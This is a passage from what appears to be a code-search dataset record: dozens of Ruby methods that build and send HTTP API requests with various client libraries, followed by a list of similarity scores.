\"Bearer #{token}\",\n\n :format => :json,\n\n :content_type => :json,\n\n :accept => :json\n ) # RestClient Post\n when :post_file\n\n response_json_string = RestClient.post( path , params , :authorization => \"Bearer #{token}\",\n\n :format => :json,\n\n :content_type => :text,\n\n :accept => :json\n ) # RestClient Post file\n\n\n\n when :put\n puts params.to_json\n response_json_string = RestClient.put( path , params.to_json , :authorization => \"Bearer #{token}\",\n\n :format => :json,\n\n :content_type => :json,\n\n :accept => :json\n ) # RestClient Post\n\n when :delete\n response_json_string = RestClient.delete( path , :authorization => \"Bearer #{token}\",\n\n :format => :json,\n\n :content_type => :json,\n\n :accept => :json\n ) # RestClient Post\n when :delete_with_args\n response_json_string = RestClient.delete( path ,params, :authorization => \"Bearer #{token}\",\n\n :format => :json,\n\n :content_type => :json,\n\n :accept => :json\n ) # RestClient Post\n else nil\n\n end\n\n puts \" ---------- \"\n pp response_json_string\n puts \" ---------- \"\n response = API::ApiClient::Response.new(response_json_string, path)\n # update_history(response)\n if response.cookie\n @all_cookies = response.cookie\n puts \"new cookie...\"\n end\n @history << [path,response.body]\n\n response\n\n rescue => e\n puts \" ---------- \"\n puts e.message\n puts \" ---------- \"\n #puts \"rescuing ng api client call - #{e.message}\"\n\n #puts \"NG::ApiClient.call rescued - path: #{_path}\"\n #puts \"e.message: #{e.message}\"\n #response = XMS::NG::ApiClient::Response.new(e.message, path)\n e.message\n end\n\n end", "def method_missing(method, **args, &block)\n path = method.to_s.split(\"_\", 2).join(\"/\")\n args.merge!(access_token: access_token)\n case path\n when /create$/\n raw_post path, args\n else\n raw_get path, args\n end\n end", "def request(params)\n\n # Add auth header\n headers = params[:headers] || {}\n headers['x-vcloud-authorization'] = @auth_key if !@auth_key.nil? || !@auth_key.equal?('')\n\n # set connection options\n options = {:url => params[:url],\n :body => params[:body] || '',\n :expects => params[:expects] || 200,\n :headers => headers || {},\n :method => params[:method] || 'GET'\n }\n\n # connect\n res = RestClient::Request.execute options\n\n raise res if (res.code!=params[:expects] && res.code!=200)\n\n res\n\n\n end", "def create_request(method, uri, data = nil)\r\n method = method.upcase\r\n if(method == 'GET')\r\n return Net::HTTP::Get.new(uri)\r\n elsif(method == 'POST')\r\n request = Net::HTTP::Post.new(uri)\r\n request.body = data.to_json\r\n return request\r\n elsif(method == 'PUT')\r\n request = Net::HTTP::Put.new(uri)\r\n request.body = data.to_json\r\n return request\r\n elsif(method == 'DELETE')\r\n return Net::HTTP::Delete.new(uri)\r\n else\r\n raise CLXException, 'Unknown HTTP method'\r\n end\r\n end", "def setup_http_request(obj, cookie=nil, args={})\n if args.has_key?(:url) and args[:url] != nil\n if args[:url].scan(/%[s|d]/).length > 0\n if args[:url].scan(/%[s|d]/).length != args[:url_arg].length\n ALERT.call(caller_locations, __callee__, \"URL contains %d '%%s' or '%%d' argument... Fix your code\" % args[:url].scan(/%[s|d]/).length)\n exit 2\n end\n req = obj[:method].new(args[:url] % args[:url_arg])\n else\n req = obj[:method].new(args[:url])\n end\n else\n if args.has_key?(:url_arg)\n if obj[:url].scan(/%[s|d]/).length > 0\n if obj[:url].scan(/%[s|d]/).length != args[:url_arg].length\n ALERT.call(caller_locations, __callee__, \"URL contains %d '%%s' or '%%d' argument... Fix your code\" % obj[:url].scan(/%[s|d]/).length)\n exit 2\n end\n req = obj[:method].new(obj[:url] % args[:url_arg])\n else\n req = obj[:method].new(obj[:url])\n end\n else\n req = obj[:method].new(obj[:url])\n end\n end\n req[\"Host\"] = \"www.blablacar.fr\"\n req[\"origin\"] = \"https://www.blablacar.fr\"\n req[\"User-Agent\"] = \"Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0\"\n req[\"Accept\"] = \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\"\n if obj.has_key?(:referer)\n req['Referer'] = obj[:referer]\n else\n req[\"Referer\"] = \"https://www.blablacar.fr/dashboard\"\n end\n req.add_field(\"Connection\", \"keep-alive\")\n if cookie\n req.add_field(\"Cookie\", cookie)\n end\n if obj.has_key?(:header)\n obj[:header].each_slice(2).map{|h|\n req.add_field(h[0], h[1])\n }\n end\n if obj.has_key?(:data)\n if obj[:data].scan(/%[s|d]/).length > 0\n if obj[:data].scan(/%[s|d]/).length != args[:arg].length\n ALERT.call(caller_locations, __callee__, \"Body request contains %d '%%s' or '%%d' argument... Fix your code\" % obj[:data].scan(/%[s|d]/).length)\n exit 2\n else\n req.body = obj[:data] % args[:arg]\n end\n else\n req.body = obj[:data]\n end\n req['Content-Length'] = req.body.length\n end\n req\nend", "def api_request(path, method, body)\n uri = call_uri(path)\n req = Net::HTTP.const_get(method)\n .new(uri,\n \"Content-Type\": 'application/json; charset=utf-8',\n \"Cache-Control\": 'no-cache')\n req.body = body\n Net::HTTP.new(uri.hostname, uri.port).start { |http| http.request(req) }\n end", "def create(params={})\n self.request(__method__, params)\n end", "def method_missing *args, &blk\n if m = caller.first.match(/^(#{__FILE__}:\\d+):in `method_missing'$/) # protect against a typo within this function creating a stack overflow\n raise \"Method missing calling itself with #{args.first} in #{m[1]}\"\n end\n is_built_in = false\n # If you define a method named get,post,create,etc don't require the method type\n if Endpoint::BUILT_IN_METHODS.include?(args.first) && !Endpoint::BUILT_IN_METHODS.include?(args[1])\n name = args.shift\n\n if Endpoint::BUILT_IN_MAP.has_key?(name.to_sym)\n method = name.to_sym\n is_built_in = true\n else\n method = Endpoint::BULT_IN_MAP.find do |meth,aliases|\n aliases.include?(name)\n end\n\n method = method[0] if method\n end\n else\n name = args.shift\n method = args.shift if args.first.is_a?(Symbol)\n end\n name = name.to_sym\n\n method ||= :get\n \n options = args.shift||{}\n options[:requires] ||= []\n options[:requires] = [options[:requires]] unless options[:requires].is_a?(Array)\n options[:into] ||= blk if block_given?\n @_endpoint.method_inflate_into[name] = options[:into]\n\n @_endpoint.class_eval <<-RUBY, __FILE__, __LINE__\n def #{name} force_params={}, args={}\n params = #{(options[:default]||{}).inspect}.merge(force_params)\n #{(options[:requires]||[]).inspect}.each do |req|\n raise RequiredParameter, \"#{name} endpoint requires the \"<<req<<\" paramerter\" unless params.include?(req.to_sym) || params.include?(req.to_s)\n end\n\n if #{is_built_in.inspect}\n super(params,args)\n else\n transform_response(#{method}(params,args),method_inflate_into[#{name.inspect}])\n end\n end\n RUBY\n end", "def set_api(*args); end", "def set_api(*args); end", "def api(method, url, options = {})\n unless [:get, :delete, :post, :put, :patch].include? method\n raise \"Unknown REST method: #{method}\"\n end\n \n config = RequestConfig.new\n config.authorization_bearer = @authorization_bearer\n config.method = method\n config.access_token = options[:access_token]\n config.request_params = options[:request_params]\n config.request_body = options[:request_body]\n config.content_type = \"application/json\" unless url == @refresh_token_url\n config.form_encoding = true if url == @refresh_token_url\n refresh_token = options[:refresh_token]\n user_uid = options[:user_uid]\n\n puts \"*\" * 88\n puts url.to_s\n puts method.to_s\n configp = config.dup\n puts configp.finalize!.to_hash.inspect\n puts \"*\" * 88\n \n request = Typhoeus::Request.new url, config.finalize!\n request.on_complete do |response|\n case\n when response.success?\n puts \"Success\"\n @callback_request_made.call\n return Echidna::Response.new response\n when response.timed_out?\n puts \"Timed out. Is google down?\"\n return Echidna::Error.new response\n when response.code == 401\n puts \"In refresh block\"\n if refresh_token && @client_id && @client_secret\n new_access_token = fetch_new_access_token(user_uid, refresh_token)\n options.delete(:refresh_token)\n options[:access_token] = new_access_token\n return api(method, url, options)\n else\n return Echidna::Error.new response\n end\n when response.code == 0\n puts\"Could not get an http response, something's wrong.\"\n return Echidna::Error.new response\n else\n puts \"HTTP request failed: #{response.code}\"\n return Echidna::Error.new response\n end\n end\n \n @hydra.queue(request)\n @hydra.run\n \n request\n end", "def run_request(method, url, body, headers); end", "def initialize(method, uri, body: nil, headers: nil, opts: {})\n @tag = 0\n method = method.downcase.to_sym\n unless method == :get || method == :put || method == :post || method == :delete\n raise ArgumentError, \"Invalid method #{method} for request : '#{uri}'\"\n end\n self.method = method\n self.path = uri\n self.body = body\n self.headers = headers || {}\n self.opts = opts || {}\n end", "def call(call, method = :get, params = false)\n # get the url\n url = URI.parse(@api_endpoint + call)\n \n send_xml = params.is_a?(Hash) && params.delete(:send_xml)\n send_format = send_xml ? 'xml' : 'json'\n \n case method\n when :get\n url.query = params.keys.map { |key| \"#{key}=#{params[key]}\"}.join('&') if params.is_a?(Hash)\n path = url.path\n path += '?' + url.query if url.query\n p \"INKAPI:GET #{path}\"\n call = Net::HTTP::Get.new(path)\n when :post\n p \"INKAPI:POST #{url.path}\"\n call = Net::HTTP::Post.new(url.path, {'Content-Type' => \"application/#{send_format}\", 'User-Agent' => 'InKomerce API Ruby SDK'})\n p send_format\n if params\n call.body = send_xml ? params.to_xml : params.to_json\n end\n when :put\n p \"INKAPI:PUT #{url.path}\"\n call = Net::HTTP::Put.new(url.path, {'Content-Type' => \"application/#{send_format}\", 'User-Agent' => 'InKomerce API Ruby SDK'})\n if params\n call.body = send_xml ? params.to_xml : params.to_json\n end\n when :delete\n url.query = params.keys.map { |key| \"#{key}=#{params[key]}\"}.join('&') if params.is_a?(Hash)\n path = url.path\n path += '?' + url.query if url.query\n p \"INKAPI:DELETE #{path}\"\n call = Net::HTTP::Delete.new(path)\n end\n \n if @token\n call.add_field('authorization',\"Bearer token=#{@token}\")\n end\n \n # create the request object\n response = Net::HTTP.start(url.host, url.port, use_ssl: (url.scheme=='https')) {\n |http| http.request(call)\n }\n # returns JSON response as ruby hash\n symbolize_return_record_keys(JSON.parse(response.body))\n end", "def rest_endpoint; end", "def detail(params={})\n self.request(__method__, params)\n end", "def GET; end", "def request_method\n {:filter => :post,\n :sample => :get,\n :firehose => :get,\n :retweet => :get\n }.fetch(@path, :get)\n end", "def api_method\n ''\n end", "def request(method, path, params, options)\n params = params.billyfy_keys!\n auth = {username: api_key, password: \"\"}\n case method.to_sym\n when :get\n response = HTTParty.get(endpoint + path, :query => params, :basic_auth => auth)\n when :post\n response = HTTParty.post(endpoint + path, :body => MultiJson.encode(params), :basic_auth => auth)\n when :delete\n response = HTTParty.delete(endpoint + path, :query => params, :basic_auth => auth)\n when :put\n response = HTTParty.put(endpoint + path, :body => MultiJson.encode(params), :basic_auth => auth)\n else\n end\n\n options[:raw] ? response : response.parsed_response.rubyify_keys!\n end", "def initialize(api, method, path, params={})\n @api = api\n @method = method\n @path = path\n @params = params\n @href = nil\n end", "def make_request(resource_name, method_name, params = {}, response_key = nil)\n end", "def build_request(*args); end", "def create_http_request(http_method, path, *arguments)\n http_method = http_method.to_sym\n\n if [:post, :put, :patch].include?(http_method)\n data = arguments.shift\n end\n\n # if the base site contains a path, add it now\n uri = URI.parse(site)\n path = uri.path + path if uri.path && uri.path != '/'\n\n headers = arguments.first.is_a?(Hash) ? arguments.shift : {}\n\n case http_method\n when :post\n request = Net::HTTP::Post.new(path,headers)\n request[\"Content-Length\"] = '0' # Default to 0\n when :put\n request = Net::HTTP::Put.new(path,headers)\n request[\"Content-Length\"] = '0' # Default to 0\n when :patch\n request = Net::HTTP::Patch.new(path,headers)\n request[\"Content-Length\"] = '0' # Default to 0\n when :get\n request = Net::HTTP::Get.new(path,headers)\n when :delete\n request = Net::HTTP::Delete.new(path,headers)\n when :head\n request = Net::HTTP::Head.new(path,headers)\n else\n raise ArgumentError, \"Don't know how to handle http_method: :#{http_method.to_s}\"\n end\n\n if data.is_a?(Hash)\n request.body = OAuth::Helper.normalize(data)\n request.content_type = 'application/x-www-form-urlencoded'\n elsif data\n if data.respond_to?(:read)\n request.body_stream = data\n if data.respond_to?(:length)\n request[\"Content-Length\"] = data.length.to_s\n elsif data.respond_to?(:stat) && data.stat.respond_to?(:size)\n request[\"Content-Length\"] = data.stat.size.to_s\n else\n raise ArgumentError, \"Don't know how to send a body_stream that doesn't respond to .length or .stat.size\"\n end\n else\n request.body = data.to_s\n request[\"Content-Length\"] = request.body.length.to_s\n end\n end\n\n request\n end", "def http_method(request)\n raise NotImplementedError\n end", "def http_method(request)\n raise NotImplementedError\n end", "def call(method, params={})\n # Build path\n params[:apikey] = @api_key\n params = params.map { |p| p.join('=') }.join('&').gsub(/\\s/, '%20')\n path = [@uri.path, API_VERSION, method].compact.join('/') << '?' << params\n # Send request\n get = Net::HTTP::Get.new(path)\n response = @http.request(get)\n handleResult response.body\n end", "def http verb, path, params={}\n\n to_header = params.delete(:to_header)\n case verb.to_s.downcase\n\n when 'get' # use URL-encoded params for GET requests only\n if to_header\n to_header['Accept'] = MIME_TYPE\n request_opts = {method: verb, headers: to_header, params: params}\n else\n request_opts = {method: verb, headers: {'Accept' => MIME_TYPE}, params: params}\n end\n else # for everything else encode as JSON in the body\n encoded_param = Yajl::Encoder.encode params\n if to_header\n to_header['Content-type'] = MIME_TYPE\n request_opts = {method: verb, headers: to_header, body: encoded_param }\n else\n request_opts = {method: verb, headers: { 'Content-type' => MIME_TYPE }, body: encoded_param }\n\n end\n end\n\n request = Typhoeus::Request.new @base_url+path, request_opts\n\n @hydra.queue request\n\n RequestPromise.new(request).then do |response|\n # we always expect JSON from successful responses\n response_meta(response).merge Yajl::Parser.parse(response.body, symbolize_keys: true)\n end\n end", "def request(*args)\n end", "def create_request(method, path, options)\n version = options.has_key?(:api_version) ? \"/#{options[:api_version]}\" : \"\"\n\n path = \"#{version}#{path}\"\n\n instance_eval <<-RUBY, __FILE__, __LINE__ + 1\n @client.#{method}(path) do |req|\n req.body = options[:body]\n req.headers.update(options[:headers])\n req.params.update(options[:query]) if options[:query]\n end\n RUBY\n end", "def request(*)\n raise 'HttpApiBuilder::BaseClient#request must be implemented, see documentation'\n end", "def request_setup request_context\n http_method = case request_context[:method]\n when :get\n Net::HTTP::Get\n when :post\n Net::HTTP::Post\n when :put\n Net::HTTP::Put\n when :delete\n Net::HTTP::Delete\n else\n raise \"Only :get, :post and :delete http method types are allowed.\"\n end\n headers = request_context[:headers] || {}\n setup = http_method.new request_context[:uri].request_uri\n setup.initialize_http_header headers\n setup.basic_auth(request_context[:uri].user, request_context[:uri].password) if request_context[:uri].user && request_context[:uri].password\n setup\n end", "def method_missing(method_name, *args, &block)\n if self.has_key?(method_name.to_s)\n self.[](method_name, &block)\n elsif self.body.respond_to?(method_name)\n self.body.send(method_name, *args, &block)\n elsif self.request[:api].respond_to?(method_name)\n self.request[:api].send(method_name, *args, &block)\n else\n super\n end\n end", "def _make_api_call(json_params=nil)\n\n puts \"Crossbar::HTTP - Request: POST #{url}\" if self.verbose\n\n encoded_params = nil\n if json_params != nil\n if self.pre_serialize != nil and self.pre_serialize.is_a? Proc\n json_params = self._parse_params json_params\n end\n encoded_params = JSON.generate(json_params)\n end\n\n puts \"Crossbar::HTTP - Params: #{encoded_params}\" if encoded_params != nil and self.verbose\n\n uri = URI(self.url)\n\n if self.key != nil and self.secret != nil and encoded_params != nil\n signature, nonce, timestamp = self._compute_signature(encoded_params)\n params = {\n timestamp: timestamp,\n seq: self.sequence.to_s,\n nonce: nonce,\n signature: signature,\n key: self.key\n }\n uri.query = URI.encode_www_form(params)\n\n puts \"Crossbar::HTTP - Signature Params: #{params}\" if self.verbose\n end\n\n # TODO: Not sure what this is supposed to be but this works\n self.sequence += 1\n\n self._api_call uri, encoded_params\n end", "def __populate(options)\n if options.has_key?(:method)\n @method = options[:method]\n else\n @method = self.METHOD_GET\n end\n\n if options.has_key?(:url)\n @url = options[:url]\n else\n raise 'Please set the url where your request will be made.'\n end\n\n if options.has_key?(:params_get)\n @params_get = options[:params_get]\n end\n\n if options.has_key?(:params_post)\n @params_post = options[:params_post]\n end\n\n if options.has_key?(:params_put)\n @params_put = options[:params_put]\n end\n\n if options.has_key?(:params_delete)\n @params_delete = options[:params_delete]\n end\n\n if options.has_key?(:headers)\n @headers = add_header(options[:headers])\n else\n @headers = {}\n end\n end", "def to_httparty\n [\n self.class.http_method, # E.g. `:get`.\n \"#{api_url}/#{api_version}/#{self.class.path}\",\n {\n body: to_h.to_json,\n headers: headers,\n }\n ]\n end", "def create_http_request(http_method,path,*arguments)\n http_method=http_method.to_sym\n if [:post,:put].include?(http_method)\n data=arguments.shift\n end\n headers=(arguments.first.is_a?(Hash) ? arguments.shift : {})\n case http_method\n when :post\n request=Net::HTTP::Post.new(path,headers)\n request[\"Content-Length\"]=0 # Default to 0\n when :put\n request=Net::HTTP::Put.new(path,headers)\n request[\"Content-Length\"]=0 # Default to 0\n when :get\n request=Net::HTTP::Get.new(path,headers)\n when :delete\n request=Net::HTTP::Delete.new(path,headers)\n when :head\n request=Net::HTTP::Head.new(path,headers)\n else\n raise ArgumentError, \"Don't know how to handle http_method: :#{http_method.to_s}\"\n end\n if data.is_a?(Hash)\n request.set_form_data(data)\n elsif data\n request.body=data.to_s\n request[\"Content-Length\"]=request.body.length\n end\n request\n end", "def api_request(method, path, opts = {})\n request(method, path, opts)\n end", "def request(action, params = T.unsafe(nil), header = T.unsafe(nil), query = T.unsafe(nil)); end", "def create_route(method, params)\n fail \"No route defined for #{method} on #{name}\" unless routes[method]\n\n url_params = params.dup\n rest_path = routes[method].gsub(/:(\\w+)/) do |m|\n fail SurveyGizmo::URLError, \"Missing RESTful parameters in request: `#{m}`\" unless url_params[$1.to_sym]\n url_params.delete($1.to_sym)\n end\n\n SurveyGizmo.configuration.api_version + rest_path + filters_to_query_string(url_params)\n end", "def api_method\n @_api_method ||= \"#{method_from_class_name}.get\"\n end", "def method_missing(api_method, *args) # :nodoc:\n raise ArgumentError.new('Please include method parameters.') unless args.size > 0\n params = ''\n args.each do |arg|\n params << arg.map {|k,v| \"#{CGI::escape(k.to_s)}=#{CGI::escape(v.to_s)}\"}.join(\"&\")\n params << '&' unless arg == args.last\n end\n api_url = \"http://#{@console_url}/frontend/#{camelize_api_method_name(api_method.to_s)}.aspx?#{params}\"\n response = HTTPI.get(api_url)\n rc, rb = response.code, response.body.gsub( /\\r\\n/m,'').to_i\n # Raise an error if the method was not found.\n super if rc == 404\n # Raise an error if the request did not succeed.\n raise APIError.new(rc) if rc != 200\n # Raise an error if the IP is not authorized.\n raise APIError.new(rb) if rb == -1011\n # Raise an error if there was an error returned.\n raise APIError.new(rb) if rb == 1\n rb\n end", "def rest_endpoint=(_arg0); end", "def request type, uri_fragment, payload = {}\n url = \"#{@server_url}api/#{uri_fragment}\"\n uri = create_uri(url)\n auth = @digest_auth.auth_header uri, @header, type.to_s.upcase\n RestClient::Request.execute(:method => type, :url => url, :headers => {:authorization => auth}, :payload => payload)\n end", "def request(method, path, params = {})\n self.class.debug_output($stderr) if @debug\n setup_http_body(method, params)\n \n uri = base_api_uri + path\n response = self.class.send(method.to_sym, uri, @default_params)\n parse(response)\n end", "def api_version_dispatch\n # First, version check.\n api_version = params[:api_version]\n if not @@SUPPORTED_VERSIONS.include?(api_version)\n return api_response(:unsupported_api_version)\n end\n\n # Generate method name\n method = params[:method].split('/')\n method = method.join('_')\n\n # Check request method is valid. If we have no definitions of request\n # methods for a call, we assume all methods are permitted.\n # Skip this in development mode, though.\n if ENV['RAILS_ENV'] != 'development'\n if @@SUPPORTED_HTTP_METHODS[api_version.to_sym] and @@SUPPORTED_HTTP_METHODS[api_version.to_sym][method.to_sym]\n supported_methods = @@SUPPORTED_HTTP_METHODS[api_version.to_sym][method.to_sym]\n req_method = request.method.downcase.to_sym\n if not supported_methods.include?(req_method)\n return api_response(:unsupported_request_method)\n end\n end\n end\n\n # Clean up params for send() to work properly\n params.delete(:api_version)\n params.delete(:method)\n params[:action] = method\n\n # Dispatch\n method = \"#{api_version}_#{method}\"\n if not respond_to?(method.to_sym, true)\n return api_response(:unknown_api_method)\n end\n\n begin\n return send(method.to_sym)\n rescue => e\n require 'pp'\n pp e.inspect\n pp e.backtrace\n return api_response(:unknown_error)\n end\n end", "def request(method, path, options)\n response = connection.send(method) do |request|\n case method\n when :get\n formatted_options = format_options(options)\n request.url(path,formatted_options)\n when :post, :put\n request.headers['Content-Type'] = 'application/json'\n request.body = options.to_json unless options.empty?\n request.url(path)\n end\n end\n \n Response.create(response.body)\n end", "def initialize(uri: , method: \"GET\", params: {}, headers: {})\n errors = []\n @uri = uri\n errors << \"uri must be an object of type URI. Received a #{uri.class}\" unless uri.kind_of?(URI)\n @method = method\n errors << \"method must be a valid HTTP method. Received: #{method}.\" unless HTTP_METHODS.include?(method)\n @params = params\n errors << \"params must be a hash. Received: #{params.inspect}.\" unless params.kind_of?(Hash)\n @headers = headers\n errors << \"headers must be a hash. Received: #{headers.inspect}.\" unless headers.kind_of?(Hash)\n raise ArgumentError, errors.join(\"\\n\") if errors.any?\n end", "def call_API_orig(endpoint,id=nil,url_params={:format=>:json},accept=nil)\n # calls are GET\n call_args={:operation=>'GET',:subpath=>endpoint}\n # specify id if necessary\n call_args[:subpath]=call_args[:subpath]+'/'+id unless id.nil?\n unless url_params.nil?\n if url_params.has_key?(:format)\n call_args[:headers]={'Accept'=>'application/'+url_params[:format].to_s}\n end\n call_args[:headers]={'Accept'=>accept} unless accept.nil?\n # add params if necessary\n call_args[:url_params]=url_params\n end\n return @api_orch.call(call_args)\n end", "def api \n api = { }\n \n param_regex = Regexp.new '\\(\\[\\^\\\\\\\\\\/\\?\\#\\]\\+\\)'\n Nagira.routes.keys.each do |method|\n api[method] ||= []\n Nagira.routes[method].each do |r|\n path = r[0].inspect[3..-3]\n r[1].each do |parm|\n path.sub!(param_regex,\":#{parm}\")\n end\n path.gsub!('\\\\','')\n api[method] << path unless path.empty? \n end\n end\n api\n end", "def call_api\n @client.build_url\n @client.get\n assign_data\n end", "def request(resource, method, params = nil) \n resource = Resources.get(resource, method, params)\n params = append_api_credentials(params)\n\n if method == :post\n payload = prepare_params(params)\n else\n payload = {}\n end\n\n headers = @options[:headers] || {}\n if method == :get \n resource.send(method, headers) do |response, request, result, &block| \n ZipMoney::Response.new(response)\n end\n else\n resource.send(method, payload, headers) do |response, request, result, &block|\n ZipMoney::Response.new(response)\n end\n end\n end", "def make_api_call(method, url, token, params = nil, payload = {}, custom_headers=nil)\n\n conn_params = {\n url: @api_host % { version: @version }\n }\n\n if @enable_fiddler\n conn_params[:proxy] = 'http://127.0.0.1:8888'\n conn_params[:ssl] = {:verify => false}\n end\n\n conn = Faraday.new(conn_params) do |faraday|\n # Uses the default Net::HTTP adapter\n faraday.adapter Faraday.default_adapter\n faraday.response :logger if @debug\n end\n\n conn.headers = {\n 'Authorization' => \"Bearer #{token}\",\n 'Accept' => \"application/json\",\n\n # Client instrumentation\n # See https://msdn.microsoft.com/EN-US/library/office/dn720380(v=exchg.150).aspx\n 'User-Agent' => @user_agent,\n 'client-request-id' => SecureRandom.uuid,\n 'return-client-request-id' => \"true\"\n }\n\n if custom_headers && custom_headers.class == Hash\n conn.headers = conn.headers.merge( custom_headers )\n end\n \n case method.upcase\n when \"GET\"\n response = conn.get do |request|\n request.url url, params\n end\n when \"POST\"\n conn.headers['Content-Type'] = \"application/json\"\n response = conn.post do |request|\n request.url url, params\n request.body = JSON.dump(payload)\n end\n when \"PATCH\"\n conn.headers['Content-Type'] = \"application/json\"\n response = conn.patch do |request|\n request.url url, params\n request.body = JSON.dump(payload)\n end\n when \"DELETE\"\n response = conn.delete do |request|\n request.url url, params\n end\n end\n\n if response.status >= 300\n error_info = if response.body.empty?\n ''\n else\n begin\n JSON.parse( response.body )\n rescue JSON::ParserError => _e\n response.body\n end\n end\n return JSON.dump({\n 'ruby_outlook_error' => response.status,\n 'ruby_outlook_response' => error_info })\n end\n\n response.body\n end", "def invoke(options = {})\n defaults = { method: 'get'}\n options = defaults.merge(options)\n\n connection.send(options[:method].to_s.downcase) do |req|\n req.url options[:url]\n req.body = options[:body] if options.has_key?(:body)\n options[:params].each { |k,v| req.params[k] = v } if options.has_key?(:params)\n options[:headers].each { |k,v| req.headers[k] = v } if options.has_key?(:headers)\n end\n end", "def api_request(input_args)\n addr = URI(api_url)\n parms = input_args.clone\n parms = api_defaults.merge(parms)\n addr.query = URI.encode_www_form(parms)\n JSON.parse(Net::HTTP.get(addr))\n end", "def api_call(endpoint, request_body = false, params = false, access_token = false)\n\n #Create the url\n endpoint_string = params ? endpoint[:name].gsub(':id', params[:id].to_s) : endpoint[:name]\n\n url = URI.parse(@api_url + endpoint_string)\n\n # construct the call data and access token\n call = case endpoint[:method]\n when :post\n Net::HTTP::Post.new(url.request_uri, initheader = {'Content-Type' =>'application/json', 'User-Agent' => 'Weship Ruby SDK'})\n when :get\n Net::HTTP::Get.new(url.request_uri, initheader = {'Content-Type' =>'application/json', 'User-Agent' => 'Weship Ruby SDK'})\n when :put\n Net::HTTP::Put.new(url.request_uri, initheader = {'Content-Type' =>'application/json', 'User-Agent' => 'Weship Ruby SDK'})\n when :delete\n Net::HTTP::Delete.new(url.request_uri, initheader = {'Content-Type' =>'application/json', 'User-Agent' => 'Weship Ruby SDK'})\n else\n throw \"Unknown call method #{endpoint[:method]}\"\n end\n\n if request_body\n call.body = request_body.to_json\n end\n\n if access_token\n call.add_field(\"Authorization\" ,\"Token token=#{access_token}\" );\n end\n\n # create the request object\n request = Net::HTTP.new(url.host, url.port)\n\n request.read_timeout = 30\n request.use_ssl = true\n # make the call\n response = request.start {|http| http.request(call) }\n # returns JSON response as ruby hash\n JSON.parse(response.body) unless response.body == nil\n end", "def _request(url, type, key)\n url = URI(url)\n type ||= :GET\n req_path = \"#{url.path}?#{url.query}\"\n\n if type == :GET\n req = Net::HTTP::Get.new(req_path)\n elsif type == :POST\n req = Net::HTTP::Post.new(req_path)\n end\n\n req.add_field('X-Vermillion-Key', key)\n req.add_field('Accept', 'application/json')\n req.add_field('Cache-Control', 'no-cache')\n req.add_field('From', @config.get(:user))\n req.add_field('User-Agent', 'Vermillion Client 1.0')\n\n res = Net::HTTP.new(url.host, url.port).start do |http|\n http.request(req)\n end\n\n res\n end", "def http_method\n METHODS[self[:method]]\n end", "def send_request(method: required('method'), path: nil, url: nil, body: nil,\n content_type: nil, encoding: nil, auth_type: :basic)\n req_type = case method\n when 'GET'\n :get\n when 'POST'\n :post\n when 'PUT'\n :put\n when 'DELETE'\n :delete\n else\n fail 'Method was not \"GET\" \"POST\" \"PUT\" or \"DELETE\"'\n end\n\n raise ArgumentError.new(\"path and url can't be both nil\") if path.nil? && url.nil?\n\n headers = {'User-Agent' => 'UARubyLib/' + Urbanairship::VERSION + ' ' + @key}\n headers['Accept'] = 'application/vnd.urbanairship+json; version=3'\n headers['Content-Type'] = content_type unless content_type.nil?\n headers['Content-Encoding'] = encoding unless encoding.nil?\n\n if @token != nil\n auth_type = :bearer\n end\n\n if auth_type == :bearer\n raise ArgumentError.new('token must be provided as argument if auth_type=bearer') if @token.nil?\n headers['X-UA-Appkey'] = @key\n headers['Authorization'] = \"Bearer #{@token}\"\n end\n\n url = \"https://#{@server}/api#{path}\" unless path.nil?\n\n debug = \"Making #{method} request to #{url}.\\n\"+ \"\\tHeaders:\\n\"\n debug += \"\\t\\tcontent-type: #{content_type}\\n\" unless content_type.nil?\n debug += \"\\t\\tcontent-encoding: gzip\\n\" unless encoding.nil?\n debug += \"\\t\\taccept: application/vnd.urbanairship+json; version=3\\n\"\n debug += \"\\tBody:\\n#{body}\" unless body.nil?\n\n logger.debug(debug)\n\n params = {\n method: method,\n url: url,\n headers: headers,\n payload: body,\n timeout: Urbanairship.configuration.timeout\n }\n\n if auth_type == :basic\n raise ArgumentError.new('secret must be provided as argument if auth_type=basic') if @secret.nil?\n params[:user] = @key\n params[:password] = @secret\n end\n\n response = RestClient::Request.execute(params)\n\n logger.debug(\"Received #{response.code} response. Headers:\\n\\t#{response.headers}\\nBody:\\n\\t#{response.body}\")\n Response.check_code(response.code, response)\n\n self.class.build_response(response)\n end", "def non_get_methods\n [:post, :put, :delete]\n end", "def request method, *params, **options\n json = {method: method, params: params, id: 1, version: '1.0'}.merge!(options).to_json\n ret = JSON.parse(@http.request_post(@uri.path, json).body)\n if ret['error']\n error_code, error_message = ret['error']\n raise Sonycam::Error.make(error_code), error_message\n else\n ret['result']\n end\n end", "def post_api(path, params={}, headers={})\n headers.merge!('CONTENT_TYPE' => \"application/json\")\n post path, params, headers\nend", "def request; end", "def request; end", "def request; end", "def request; end", "def request; end", "def request; end", "def request; end", "def request; end", "def request; end", "def request; end", "def request; end", "def http_method\n :get\n end", "def create_method\n :http_put\n end" ]
[ "0.7094533", "0.6870368", "0.68259543", "0.6752628", "0.6747861", "0.66281503", "0.6616732", "0.6595478", "0.6595478", "0.6526356", "0.6487425", "0.64799434", "0.6470975", "0.6460656", "0.64530885", "0.6429375", "0.64285636", "0.64250046", "0.6404925", "0.6404423", "0.63891053", "0.6386351", "0.63783383", "0.6369541", "0.6367568", "0.63571966", "0.63322294", "0.631179", "0.6292802", "0.6292108", "0.6290305", "0.6275638", "0.6268166", "0.62614775", "0.62597954", "0.62597954", "0.6247714", "0.624472", "0.6238248", "0.6235244", "0.62219083", "0.6212673", "0.6209784", "0.6206579", "0.62062967", "0.6202936", "0.6202743", "0.61988217", "0.61844087", "0.61804813", "0.6167541", "0.6167541", "0.61618125", "0.6161311", "0.6151214", "0.6124342", "0.6123966", "0.61238796", "0.6120201", "0.6116742", "0.6109821", "0.609263", "0.6087169", "0.60779285", "0.6077088", "0.6063109", "0.6062564", "0.60538316", "0.6049846", "0.6038779", "0.6036897", "0.6031026", "0.60306525", "0.6024195", "0.601269", "0.60074556", "0.6004833", "0.6001731", "0.5997964", "0.5997569", "0.59775287", "0.5974908", "0.597043", "0.5966793", "0.59593254", "0.59575886", "0.59335697", "0.59322494", "0.5930545", "0.5930545", "0.5930545", "0.5930545", "0.5930545", "0.5930545", "0.5930545", "0.5930545", "0.5930545", "0.5930545", "0.5930545", "0.59298426", "0.59296185" ]
0.0
-1
